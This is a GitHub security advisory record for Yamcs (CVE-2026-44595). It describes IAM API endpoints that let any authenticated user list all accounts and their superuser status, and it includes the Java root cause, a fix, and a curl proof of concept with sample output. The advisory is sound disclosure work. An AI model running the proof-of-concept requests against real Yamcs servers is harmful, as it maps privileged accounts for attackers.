{"id":"GHSA-p2rj-mrmc-9w29","summary":"Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints","details":"### Summary\n\nThe IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.\n\nThis constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`\n\n`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:\n\n```java\n// listUsers — NO checkSystemPrivilege\npublic void listUsers(Context ctx, Empty request, ...) {\n    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);\n    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed\n    for (User user : users) {\n        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);\n        responseb.addUsers(userb);\n    }\n}\n```\n\nCompare with properly protected endpoints:\n\n```java\n// createUser — correctly protected\npublic void createUser(Context ctx, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present\n```\n\n### Impact\n\nAny authenticated user can:\n\n1. List all user accounts in the system\n2. Identify which accounts have superuser privileges\n3. Use this information to target privileged accounts\n\n### Proof of Concept\n\n```bash\n# Authenticate as any low-privilege user GET access_token\ncurl -s -X POST \"http://localhost:8090/auth/token\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=password&username=lowpriv&password=lowpriv123\"\n\n# Enumerate all users — no ControlAccess required\ncurl -s \"http://TARGET:8090/api/users\" \\\n  -H \"Authorization: Bearer $TOKEN\" #paste access_token\n```\n\n**Output (confirmed):**\n\n```json\n{\n  \"users\": [\n    { \"name\": \"admin\", \"superuser\": true, \"active\": true },\n    { \"name\": \"operator\", \"superuser\": true, \"active\": true },\n    { \"name\": \"lowpriv\", \"superuser\": false, \"active\": true }\n  ]\n}\n```\n\n### Fix\n\nAdd `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:\n\n```java\npublic void listUsers(Context ctx, Empty request, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS\n    ...\n}\n```","aliases":["CVE-2026-44595"],"modified":"2026-05-27T00:26:30.097435Z","published":"2026-05-27T00:03:56Z","database_specific":{"github_reviewed_at":"2026-05-27T00:03:56Z","nvd_published_at":null,"cwe_ids":["CWE-862"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"}],"affected":[{"package":{"name":"org.yamcs:yamcs-core","ecosystem":"Maven","purl":"pkg:maven/org.yamcs/yamcs-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.7"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.10.0","5.10.1","5.10.10","5.10.11","5.10.12","5.10.2","5.10.3","5.10.4","5.10.5","5.10.6","5.10.7","5.10.8","5.10.9","5.11.0","5.11.1","5.11.10","5.11.11","5.11.12","5.11.13","5.11.2","5.11.3","5.11.4","5.11.5","5.11.6","5.11.7","5.11.8","5.11.9","5.12.0","5.12.1","5.12.2","5.12.3","5.12.4","5.12.5","5.12.6","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.10","5.9.11","5.9.12","5.9.2","5.9.3","5.9.4","5.9.5","5.9.6","5.9.7","5.9.8","5.9.8.1","5.9.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-p2rj-mrmc-9w29/GHSA-p2rj-mrmc-9w29.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}